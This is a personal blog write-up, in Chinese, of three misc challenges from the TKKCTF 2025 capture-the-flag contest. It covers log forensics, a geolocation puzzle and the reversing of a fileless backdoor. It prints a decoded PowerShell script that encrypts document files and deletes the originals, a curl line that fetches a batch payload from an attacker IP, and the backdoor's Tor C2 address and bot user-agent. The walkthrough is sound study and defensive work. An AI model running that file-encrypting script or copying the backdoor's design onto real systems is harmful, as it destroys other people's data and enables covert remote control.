TKKCTF 2025

TKKCTF 2025

Aristore

Misc

Gamer

Challenge

据说爱玩游戏的人运气都不错….除非你被卫继龚盯上 = =

Solution

我们重点关注 Event ID 1 (进程创建) 的日志,特别是 PowerShell 和 CMD 的执行记录

分析发现:

  1. 下载恶意脚本 (2025/12/4 22:26:13):
    攻击者使用 curl 下载了一个批处理文件:
    curl http://192.168.111.1:8080/system_fix.bat -O
    TKKCTF2025-1

  2. 执行批处理:
    执行 system_fix.bat 开始调用 PowerShell

  3. 构建加密逻辑:

    • 使用 powershell -c 命令多次向 b.dat 文件追加 Base64 编码的字符串
      TKKCTF2025-2
      全部 Base64 内容解码结果如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      # Banner: "TKKC SEC HAS BEEN COMPROMISED..."
      $x99Qq = "VEtLQyBTRUMgSEFTIEJFRU4gQ09NUFJPTUlTRUQgQlkgV0VJIEpJR09ORyAo5Y2r57un6b6aKQoqIFdoYXQgaGFwcGVuZWQ/ClRoaXMgaXMgbXkgcmV2ZW5nZSBhZ2FpbnN0IFRLS0MgU2VjLiBZb3VyIGFycm9nYW5jZSBoYXMgbGVkIHRvIHRoaXMuCkksIFdlaSBKaWdvbmcsIGhhdmUgZW5jcnlwdGVkIGFsbCB5b3VyIGNyaXRpY2FsIGZpbGVzLgoqIENhbiBJIHJlY292ZXIgdGhlbT8KSXQgaXMgaW1wb3NzaWJsZSB3aXRob3V0IG15IHByaXZhdGUga2V5LiBEbyBub3Qgd2FzdGUgeW91ciB0aW1lLgoqIEhvdyB0byBmaXggdGhpcz8KQWRtaXQgeW91ciBkZWZlYXQgdG8gV2VpIEppZ29uZy4gWW91IGhhdmUgMjQgaG91cnMgYmVmb3JlIGRhdGEgbG9zcy4="

      # Display Banner Function
      function f_sh0w {
      [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x99Qq))
      }

      # Extensions: *.txt *.doc *.docx *.pdf
      $j11Wz = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"

      function f_lst {
      return (f_dec $j11Wz).Split(" ")
      }

      # Decode Function
      function f_dec {
      param([string]$in)
      return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in))
      }

      # Key 1
      $p44Lm = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="
      # Key 2
      $o55Nr = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG"

      $u88Ty = f_dec $p44Lm
      $i33Er = f_dec $o55Nr

      $h77Vn = @{}
      For ($z = 65; $z -le 90; $z++) {
      $h77Vn[([char]$z)] = if($z -eq 90) { [char]65 } else { [char]($z + 1) }
      }
      For ($z = 97; $z -le 122; $z++) {
      $h77Vn[([char]$z)] = if($z -eq 122) { [char]97 } else { [char]($z + 1) }
      }
      For ($z = 48; $z -le 57; $z++) {
      $h77Vn[([char]$z)] = if($z -eq 57) { [char]48 } else { [char]($z + 1) }
      }

      function f_crpt {
      param([byte[]]$b_src, [byte[]]$k_a, [byte[]]$k_b)
      $res = [byte[]]::new($b_src.Length)
      for ($i = 0; $i -lt $b_src.Length; $i++) {
      $v1 = $k_a[$i % $k_a.Length]
      $v2 = $k_b[$i % $k_b.Length]
      $res[$i] = $b_src[$i] -bxor $v1 -bxor $v2
      }
      return $res
      }

      function f_proc {
      param([byte[]]$raw, [string]$s_a, [string]$s_b)

      if ($raw -eq $null -or $raw.Length -eq 0) {
      return $null
      }

      $bk_a = [System.Text.Encoding]::UTF8.GetBytes($s_a)
      $bk_b = [System.Text.Encoding]::UTF8.GetBytes($s_b)
      $out_b = f_crpt $raw $bk_a $bk_b

      return [System.Convert]::ToBase64String($out_b)
      }

      function f_exec {
      param([switch]$go)

      try {
      if ($go) {
      foreach ($ext in f_lst) {
      $path = "dca01aq2/"
      if (Test-Path $path) {
      Get-ChildItem -Path $path -Recurse -ErrorAction Stop |
      Where-Object { $_.Extension -match "^\.$ext$" } |
      ForEach-Object {
      $tgt = $_.FullName
      if (Test-Path $tgt) {
      $bin = [IO.File]::ReadAllBytes($tgt)
      $fin = f_proc $bin $u88Ty $i33Er
      [IO.File]::WriteAllText("$tgt.secured", $fin)
      Remove-Item $tgt -Force
      }
      }
      }
      }
      }
      }
      catch {}
      }

      if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
      f_exec -go
      f_sh0w
      }

      解码后包含两个 Base64 编码的密钥:

      • $p44Lm (Key 1): "VGtrY1NlY3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="
      • $o55Nr (Key 2): "aWN0b3J5SXNlT3Vyc0xvbmdUb3RoZUNURg" (解码后为 victoryIsOursLongTotheCTF)

      使用了一个双重异或加密:

      1
      $res[$i] = $b_src[$i] -bxor $v1 -bxor $v2

      其中 $v1 来自 Key 1,$v2 来自 Key 2

      解码后的逻辑显示:

      1. 读取原文件字节
      2. 加密
      3. 将加密后的字节转换为 Base64 字符串
      4. 写入 .secured 文件
      5. 删除原文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import base64

LOG_KEY_1_RAW = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="
LOG_KEY_2_RAW = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG"

INPUT = "flag.pdf.secured"
OUTPUT = "flag.pdf"

def f_dec(b64_string):
missing_padding = len(b64_string) % 4
if missing_padding:
b64_string += '=' * (4 - missing_padding)
return base64.b64decode(b64_string)

def decrypt():
# 1. 密钥
# $u88Ty = f_dec $p44Lm; $i33Er = f_dec $o55Nr
key1_bytes = f_dec(LOG_KEY_1_RAW)
key2_bytes = f_dec(LOG_KEY_2_RAW)

# 2. 读取加密文件
# [IO.File]::WriteAllText(... $fin)
with open(INPUT, 'r') as f:
file_content_b64 = f.read()

# return [System.Convert]::ToBase64String($out_b)
encrypted_bytes = base64.b64decode(file_content_b64)

# 3. XOR 解密
# $res[$i] = $b_src[$i] -bxor $v1 -bxor $v2
decrypted_data = bytearray(len(encrypted_bytes))
k1_len = len(key1_bytes)
k2_len = len(key2_bytes)

for i in range(len(encrypted_bytes)):
# $v1 = $k_a[$i % $k_a.Length]
v1 = key1_bytes[i % k1_len]
# $v2 = $k_b[$i % $k_b.Length]
v2 = key2_bytes[i % k2_len]
# -bxor $v1 -bxor $v2
decrypted_data[i] = encrypted_bytes[i] ^ v1 ^ v2

# 4. 写入结果
with open(OUTPUT, 'wb') as f:
f.write(decrypted_data)

if __name__ == "__main__":
decrypt()

flag 在还原后的 PDF 文件里

FLAG

1
xujc{C4v3_Exp3d1ti0n_Succ3ssfuL!!} 

Screen Shot

Challenge

在协助警方清算一个黑市时,TKKC Sec研究团队发现了一台名为”卫继龚“的菜鸟黑客的随身电脑。从还原的内容看来,这个傻瓜甚至以为删掉了bash_history就没法还原他犯罪的全貌。

情报专家“小恐龙”对这段恢复的日志经过勘查后得出结论:”卫继龚“已在某国的帮助下乘坐一架军用直升机抵达了那个国家,并且能在Google Map上得到证实。于是,日理万机的“小恐龙”就决定把还原完整线索链的工作交给你,当作给你这个新人的锻炼。

找到这架军用直升机在Google Map上的具体经纬度坐标(坐标精确到小数点后4位)
flag格式: xujc{经度(正数表示东经,负数表示西经)_纬度},如xujc{-11.1111_22.2222}

Solution

附件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
Last login: Tue Dec 19 03:12:44 2024 from 10.8.0.2
root@kali-404:~# uname -a
Linux kali-404 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux

root@kali-404:~# export TARGET_IP="192.168.1.105"
root@kali-404:~# nmap -sS -p- --min-rate 5000 45.33.32.156
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-19 03:13:01 UTC
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Nmap done: 1 IP address (1 host up) scanned in 14.22 seconds

root@kali-404:~# # Damn, wrong target.
root@kali-404:~# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali-404
10.10.10.5 vpn-gateway
# 192.168.100.10 internal-dns

root@kali-404:~# python3 ./scripts/payload_gen.py --arch x64 --os windows
[+] Generating shellcode...
[!] Error: Dependency 'keystone' not found. Please pip install keystone-engine.

root@kali-404:~# pip install keystone-engine
Requirement already satisfied: keystone-engine in /usr/lib/python3/dist-packages (0.9.2)
root@kali-404:~# # Whatever, I'll do it manually later.

root@kali-404:~# ping -c 3 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=14.2 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=14.1 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=115 time=14.3 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 14.188/14.230/14.312/0.052 ms

root@kali-404:~# netstat -antp | grep LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 542/sshd: /usr/sbin
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 601/postgres

root@kali-404:~# # Initiating deep scan on Sector 7
root@kali-404:~# dig axfr @10.10.10.5 sector7.local
; <<>> DiG 9.18.19-1-Debian <<>> axfr @10.10.10.5 sector7.local
; (1 server found)
;; global options: +cmd
; Transfer failed.

root@kali-404:~# traceroute -T -p 443 131.10.20.51
traceroute to 131.10.20.51 (131.10.20.51), 30 hops max, 60 byte packets
1 192.168.1.1 (192.168.1.1) 0.211 ms 0.198 ms 0.187 ms
2 10.100.20.1 (10.100.20.1) 4.321 ms 4.299 ms 4.310 ms
3 172.16.50.254 (isp-internal.net) 5.102 ms 5.088 ms 5.095 ms
4 203.0.113.5 (edge-router-01.isp.net) 8.440 ms 8.420 ms 8.433 ms
5 12.122.115.10 (tbone.sj.level3.net) 10.550 ms 10.530 ms 10.540 ms
6 4.69.153.12 (ae-2-5.bar1.SanJose1.Level3.net) 12.100 ms 12.080 ms 12.090 ms
7 4.69.133.109 (ae-1-6.bar1.LasVegas1.Level3.net) 15.201 ms 15.188 ms 15.210 ms
8 4.53.230.14 (las-b21-link.telia.net) 16.402 ms 16.380 ms 16.399 ms
9 137.229.0.2 (unlv-gw.nevada.edu) 17.100 ms 17.080 ms 17.090 ms
10 *** Request timed out ***
11 *** Request timed out ***
12 [DATA FRAGMENT RECOVERED]: ...nttr-gateway.nellis.af.mil...
13 131.10.20.51 (target-airgap-proxy) <NO RESPONSE>

root@kali-404:~# echo "Route traced. Entering passive mode."
Route traced. Entering passive mode.

root@kali-404:~# base64 -d <<< "VGFyZ2V0IG1vdmVkIHRvIFNpdGUgNA=="
Target moved to Site 4

root@kali-404:~# ls -la /var/log/surveillance/
total 1024
drwxr-xr-x 2 root root 4096 Dec 19 03:15 .
drwxr-xr-x 1 root root 4096 Dec 18 22:00 ..
-rw-r--r-- 1 root root 823910 Dec 19 03:14 drone_feed_001.log
-rw-r--r-- 1 root root 12044 Dec 19 03:15 drone_feed_002.log

root@kali-404:~# tail -n 5 /var/log/surveillance/drone_feed_002.log
[03:15:01] CAM_04: Signal weak. Adjusting gain.
[03:15:05] CAM_04: Locked on object. Type: Rotary-wing. No registration.
[03:15:08] TELEMETRY: Alt 4400ft. Pressure 29.92 inHg.
[03:15:10] GEO_REF: Object static on NW Apron. Reference: Groom Dry Lake bed visible to East.
[03:15:12] WARNING: Jamming detected from 130.00 MHz. Connection lost.

root@kali-404:~# # Let's try to decrypt the comms
root@kali-404:~# gpg --decrypt message.gpg
gpg: cannot open 'message.gpg': No such file or directory
root@kali-404:~# find / -name "message.gpg" 2>/dev/null
root@kali-404:~# # Damn it, where did I put it?

root@kali-404:~# curl -I http://ru.bombardier.net
HTTP/1.1 301 Moved Permanently
Date: Tue, 19 Dec 2024 03:18:00 UTC
Server: Apache
Location: https://ru.bombardier.net/
Content-Type: text/html; charset=iso-8859-1

root@kali-404:~# # Irrelevant.
root@kali-404:~# history -c
root@kali-404:~# exit
logout

TLDR,直接把题目描述和附件内容丢给 AI

TKKCTF2025-3

这个回复里面对我来说最重要的信息是:要寻找一个位于 51 区的直升机的坐标

之前打过一场国际赛碰巧有这个位置,直接一眼丁真了:https://www.aristore.top/posts/htb2107/#Solution-2

FLAG

1
xujc{-115.8123_37.2470}

Operation Ghost

Challenge

我们最新研制的蜜罐成功引诱到了一名黑客。黑客非常狡猾,他似乎在系统中运行了一个后门,但在磁盘上找不到任何可疑文件。 连上这个蜜罐,找出黑客留下的秘密……
(连接出现15秒左右空屏属于正常现象,等待一会儿即可正常使用)
用户名:root,无密码

Solution

后门在系统中运行但在磁盘上找不到可疑文件,这意味着攻击者在运行后门之后把程序给删了,程序在内存还里运行

查找指向 (deleted) 的进程:

1
ls -al /proc/*/exe 2>/dev/null | grep deleted

寻找幽灵进程 PID 并将其存入变量 PID

1
PID=$(ls -al /proc/*/exe 2>/dev/null | grep deleted | awk -F/ '{print $3}' | head -n 1)

将运行在内存中的后门程序提取并恢复

1
2
cp /proc/$PID/exe /tmp/kworker_u4_0
chmod +x /tmp/kworker_u4_0

用 pwntools 连接靶机尝试把程序弄出来(这里是将运行结果保存到一个日志文件中,在靶机中将后门文件 base64 编码的结果输出,这样就可以在日志文件中拿到了,截取 base64 的输出内容并解码即可得到后门文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import sys
import threading
import time
from pwn import *

HOST = '47.122.52.77'
PORT = 33780
LOG_FILENAME = "ghost.log"

def main():
try:
io = remote(HOST, PORT)
except:
print("[-] 连接失败")
return

io.recvuntil(b"TKKCSec login:")
io.sendline(b'root')

io.recvuntil(b'#')

# 打开日志文件准备写入
log_file = open(LOG_FILENAME, 'wb')

# 定义一个标志位用于控制线程退出
running = True

# 接收
def receiver():
while running:
try:
# 每次读取一点数据
data = io.recv(timeout=0.1)
if not data:
continue

# 写入文件
log_file.write(data)
log_file.flush()
except EOFError:
print("\n[*] 断开连接")
break
except Exception:
break

# 启动接收线程
t = threading.Thread(target=receiver)
t.daemon = True
t.start()

io.sendline("PID=$(ls -al /proc/*/exe 2>/dev/null | grep deleted | awk -F/ '{print $3}' | head -n 1)".encode())
time.sleep(2)
io.sendline("cp /proc/$PID/exe /tmp/kworker_u4_0".encode())
time.sleep(2)
io.sendline("base64 /tmp/kworker_u4_0".encode())
time.sleep(10)

# 清理
running = False
log_file.close()
io.close()

if __name__ == "__main__":
main()

后来才知道靶机出网,直接带出来就完事了☹️

在逆向的过程中发现要使用到它的环境变量,那就回靶机看看

1
2
3
4
5
6
# cat /proc/$PID/environ | tr '\0' '\n'
SHLVL=1
HOME=/
TERM=linux
TKKC_AUTH_TOKEN=X-TKKC-Key-2025
PWD=/

拿到 TKKC_AUTH_TOKEN=X-TKKC-Key-2025

下面是大模型给出的逆向分析报告:

分析摘要

这是一个伪装成Linux内核工作线程 [kworker/u4:0] 的后门程序。程序通过环境变量获取密钥,解密内置的加密字符串,然后向Tor隐藏服务发送HTTP请求。

关键发现:

  • 加密算法: XTEA (eXtended Tiny Encryption Algorithm)
  • 密钥生成: FNV-1a哈希 + 线性同余生成器 (LCG)
  • C2服务器: Tor隐藏服务 (onion地址)
  • 隐蔽性: 伪装成系统进程名称

详细分析过程

1. 程序入口点分析

程序从 start 函数 (0x4015c0) 开始,调用主函数 sub_401B38:

1
2
3
4
5
6
7
8
9
10
void __fastcall __noreturn sub_401B38(__int64 a1, char **p_[kworker_u4:0])
{
strcpy(*p_[kworker_u4:0], "[kworker/u4:0]"); // 伪装成内核线程
sub_417870(15, "[kworker/u4:0]", 0, 0, 0); // 设置进程名
while ( 1 )
{
sub_40191A(); // 主后门逻辑
sub_416E30(20); // sleep(20)
}
}

分析要点:

  • 程序伪装成Linux内核工作线程 [kworker/u4:0]
  • 无限循环,每20秒执行一次后门逻辑

2. 后门逻辑分析 (sub_40191A)

核心函数位于 0x40191A,执行以下操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 sub_40191A()
{
char TKKC_AUTH_TOKEN[20];
_BYTE v10[16];
_BYTE v9[128];
_BYTE GET_request[64];

// 1. 读取环境变量
strcpy(TKKC_AUTH_TOKEN, "TKKC_AUTH_TOKEN");
v17 = sub_404A40(TKKC_AUTH_TOKEN); // getenv()

if ( v17 )
{
// 2. 从token生成密钥
sub_4017BB(v17, v10);

// 3. 解密URL (72 bytes)
sub_40185E(&unk_4A40E0, 72, v10, v9);

// 4. 解密User-Agent模板 (24 bytes)
sub_40185E(&unk_4A4130, 24, v10, GET_request);

// 5. 构造并发送HTTP请求到127.0.0.1:9050 (Tor SOCKS代理)
// ...
}
}

3. 密钥生成算法 (sub_4017BB)

该函数使用 FNV-1a哈希线性同余生成器(LCG) 生成 XTEA 密钥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int *__fastcall sub_4017BB(unsigned __int8 *a1, int *a2)
{
int v5 = -2128831035; // FNV-1a offset basis

// FNV-1a hash
while ( *a1 )
{
v5 = 16777619 * (v5 ^ *a1);
a1++;
}

// LCG生成4个密钥
*a2 = v5;
a2[1] = 1664525 * v5 + 1013904223;
a2[2] = 1664525 * a2[1] + 1013904223;
a2[3] = 1664525 * a2[2] + 1013904223;

return a2 + 3;
}

Python实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def fnv1a_hash(data):
hash_value = 0x811C9DC5
for byte in data.encode():
hash_value ^= byte
hash_value = (hash_value * 16777619) & 0xFFFFFFFF
return hash_value

def generate_key(token):
h = fnv1a_hash(token)
key = [h & 0xFFFFFFFF]
for i in range(3):
h = (1664525 * key[i] + 1013904223) & 0xFFFFFFFF
key.append(h)
return key

使用token X-TKKC-Key-2025 生成的密钥:

1
2
3
4
key[0] = 0xdfaaee15
key[1] = 0xf3066870
key[2] = 0x544ee10f
key[3] = 0xec935b22

4. XTEA解密算法 (sub_4016E5)

标准的 XTEA 解密实现,32 轮解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall sub_4016E5(unsigned int *a1, __int64 a2)
{
unsigned int v6 = *a1;
unsigned int v5 = a1[1];
unsigned int v4 = -957401312; // delta * 32

for ( i = 0; i <= 31; ++i )
{
v5 -= (((v6 >> 5) ^ (16 * v6)) + v6) ^ (*(_DWORD *)(4LL * ((v4 >> 11) & 3) + a2) + v4);
v4 += 1640531527; // delta
v6 -= (((v5 >> 5) ^ (16 * v5)) + v5) ^ (*(_DWORD *)(4LL * (v4 & 3) + a2) + v4);
}

*a1 = v6;
a1[1] = v5;
return v5;
}

关键参数:

  • Delta: 0x61C88647 (1640531527)
  • 初始 sum: 0xC6EF3720 (delta * 32)
  • 轮数: 32 轮

Python实现:

1
2
3
4
5
6
7
8
9
10
11
def xtea_decrypt_block(v, key):
v0, v1 = struct.unpack('<II', v)
delta = 0x61C88647
sum_val = 0xC6EF3720

for i in range(32):
v1 = (v1 - ((((v0 >> 5) ^ (v0 << 4)) + v0) ^ (key[(sum_val >> 11) & 3] + sum_val))) & 0xFFFFFFFF
sum_val = (sum_val + delta) & 0xFFFFFFFF
v0 = (v0 - ((((v1 >> 5) ^ (v1 << 4)) + v1) ^ (key[sum_val & 3] + sum_val))) & 0xFFFFFFFF

return struct.pack('<II', v0, v1)

5. 加密数据位置

通过 IDA 读取内存得到两段加密数据:

数据1 (0x4A40E0, 72 bytes):

1
2
3
4
5
ab 80 05 4b e0 0a 84 9d 2c 1e c3 ea 79 0b 55 0d 
24 08 26 d0 41 8f 33 0a ee b4 b4 1f 99 47 5c 2b
fa 5e f5 fd f3 e9 85 3b ec 7a 64 d7 ea 14 7d 8e
fb 20 70 73 5d d6 5f 63 13 5b f1 b0 64 c2 10 6c
c1 b1 4b 72 b7 51 83 73

数据2 (0x4A4130, 24 bytes):

1
2
eb 3e 70 5c 8a 8d ed 9c 8f 54 c9 26 71 73 a6 96 
d4 7e 46 be 0c ad ca 23

6. 解密结果

使用 token X-TKKC-Key-2025 解密得到:

解密数据1 (C2 服务器 URL):

1
http://w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onion

解密数据2 (User-Agent 模板):

1
TKKC-Bot-Agent/%s

7. 网络通信分析

后门程序的网络行为:

  1. 连接目标: 127.0.0.1:9050 (本地 Tor SOCKS 代理)

  2. 协议: HTTP/1.0

  3. 请求格式:

    1
    2
    3
    4
    GET /{path} HTTP/1.0
    Host: {onion_address}
    User-Agent: TKKC-Bot-Agent/{version}
    Connection: close
  4. C2服务器: Tor 隐藏服务

    • 地址: w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onion
    • 这是一个 56 字符的 v3 onion 地址

技术总结

加密方案

  • 算法: XTEA (对称加密)
  • 密钥长度: 128 位 (4 个 32 位整数)
  • 分组大小: 64 位 (8 字节)
  • 工作模式: ECB 模式

密钥派生

  1. FNV-1a 哈希: 将 token 字符串转换为 32 位哈希值
  2. LCG 扩展: 使用线性同余生成器生成 4 个密钥值
    • 参数: a=1664525, c=1013904223

反检测技术

  1. 进程伪装: 伪装成 Linux 内核工作线程 [kworker/u4:0]
  2. 加密配置: C2 地址和 User-Agent 都经过加密
  3. Tor 网络: 使用 Tor 隐藏服务,难以追踪
  4. 无文件驻留: 从内存中运行,磁盘上无痕迹

解密工具

完整的解密脚本已保存为 decrypt.py,可以:

  • 从token生成XTEA密钥
  • 解密任意加密数据
  • 验证解密结果

运行示例:

1
2
3
4
$ python decrypt.py
key: ['0xdfaaee15', '0xf3066870', '0x544ee10f', '0xec935b22']
http://w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onion
TKKC-Bot-Agent/%s

关键函数映射

地址 原始名称 功能描述
0x4015c0 start 程序入口
0x401B38 sub_401B38 主函数,无限循环执行后门
0x40191A sub_40191A 后门核心逻辑
0x404A40 sub_404A40 getenv - 读取环境变量
0x4017BB sub_4017BB 从token生成XTEA密钥
0x40185E sub_40185E 解密数据(多个块)
0x4016E5 sub_4016E5 XTEA解密单个块

内存数据映射

地址 大小 描述 解密后内容
0x4A40E0 72 bytes 加密的URL http://w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onion
0x4A4130 24 bytes 加密的User-Agent TKKC-Bot-Agent/%s

结论

这是一个精心设计的后门程序,具有以下特征:

  1. 隐蔽性强: 伪装成系统进程,使用加密配置,通过Tor网络通信
  2. 设计巧妙: 使用环境变量作为密钥源,可以动态配置
  3. 技术成熟: 使用标准加密算法XTEA,实现规范
  4. 难以检测: 无文件驻留,仅在内存中运行

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# Cipher bytes extracted from globals in the backdoor (addresses 0x4A40E0 and 0x4A4130)
C2 = bytes([
0xAB,0x80,0x05,0x4B,0xE0,0x0A,0x84,0x9D,0x2C,0x1E,0xC3,0xEA,0x79,0x0B,0x55,0x0D,
0x24,0x08,0x26,0xD0,0x41,0x8F,0x33,0x0A,0xEE,0xB4,0xB4,0x1F,0x99,0x47,0x5C,0x2B,
0xFA,0x5E,0xF5,0xFD,0xF3,0xE9,0x85,0x3B,0xEC,0x7A,0x64,0xD7,0xEA,0x14,0x7D,0x8E,
0xFB,0x20,0x70,0x73,0x5D,0xD6,0x5F,0x63,0x13,0x5B,0xF1,0xB0,0x64,0xC2,0x10,0x6C,
0xC1,0xB1,0x4B,0x72,0xB7,0x51,0x83,0x73,
])

UA = bytes([
0xEB,0x3E,0x70,0x5C,0x8A,0x8D,0xED,0x9C,0x8F,0x54,0xC9,0x26,0x71,0x73,0xA6,0x96,
0xD4,0x7E,0x46,0xBE,0x0C,0xAD,0xCA,0x23,
])

TOKEN = "X-TKKC-Key-2025"

def derive_key(token: str):
fnv = 0x811C9DC5
for ch in token.encode():
fnv = ((fnv ^ ch) * 0x01000193) & 0xFFFFFFFF
k0 = fnv
k1 = (1664525 * k0 + 1013904223) & 0xFFFFFFFF
k2 = (1664525 * k1 + 1013904223) & 0xFFFFFFFF
k3 = (1664525 * k2 + 1013904223) & 0xFFFFFFFF
return [k0, k1, k2, k3]

def xtea_dec_block(block: bytes, key_words):
v0 = int.from_bytes(block[0:4], "little")
v1 = int.from_bytes(block[4:8], "little")
sumv = 0xC6EF3720
for _ in range(32):
v1 = (v1 - ((((v0 >> 5) ^ ((v0 << 4) & 0xFFFFFFFF)) + v0) ^ ((key_words[(sumv >> 11) & 3] + sumv) & 0xFFFFFFFF))) & 0xFFFFFFFF
sumv = (sumv + 0x61C88647) & 0xFFFFFFFF
v0 = (v0 - ((((v1 >> 5) ^ ((v1 << 4) & 0xFFFFFFFF)) + v1) ^ ((key_words[sumv & 3] + sumv) & 0xFFFFFFFF))) & 0xFFFFFFFF
return v0.to_bytes(4, "little") + v1.to_bytes(4, "little")

def decrypt(arr: bytes, key_words):
out = bytearray()
for i in range(0, len(arr), 8):
out += xtea_dec_block(arr[i:i+8], key_words)
return bytes(out)

def main():
key = derive_key(TOKEN)
print("key:", [hex(x) for x in key])
print(decrypt(C2, key).decode("utf-8", "replace"))
print(decrypt(UA, key).decode("utf-8", "replace"))

if __name__ == "__main__":
main()

用 Tor Browser 连上 Tor 网络后带上指定的 UA 给 C2 服务器发包(没带 UA 或者 UA 不对的话返回的是 Welcome to TKKCTF 2025!

TKKCTF2025-4

返回的内容是

1
20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147a2d720855174b5b574f

和前面的密钥 X-TKKC-Key-2025 XOR 解密(我也不知道为什么这么做,在群里询问得知做出来的大佬是 AI 试出来的)

TKKCTF2025-5

解密得到 xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_C0nfig}

这还不是最终的 flag,而是一个提示,headers are the key to the darkweb but real in config

根据提示给路由 /config 发包

1
20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147a2d7278284d1c5e4d

TKKCTF2025-6

用同样的方法解密得到 xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_3M41l}

还是一个提示,headers are the key to the darkweb but real in email

根据提示给路由 /email 发包,但是没有响应,可以另存为 HAR 使用工具进一步分析

TKKCTF2025-7

我这里使用的是 PureWaterSun/har-analyze

TKKCTF2025-8

/config 的响应头发现 X-Emergency-Contact 头部 dGtrY19zaGFkb3dfb3BzXzg4QHlvcG1haWwuY29t

bese64 解码得到 tkkc_shadow_ops_88@yopmail.com

访问 https://yopmail.com/ 发现这是一个匿名邮箱,输入上面的邮箱地址即可

TKKCTF2025-9

FLAG

1
xujc{R3sp0ns3_H3ad3rs_L3ak_Th3_Tru7h}
  • 标题: TKKCTF 2025
  • 作者: Aristore
  • 创建于 : 2025-12-08 03:00:00
  • 更新于 : 2025-12-08 02:54:35
  • 链接: https://www.aristore.top/posts/TKKCTF2025/
  • 版权声明: 版权所有 © Aristore,禁止转载。
评论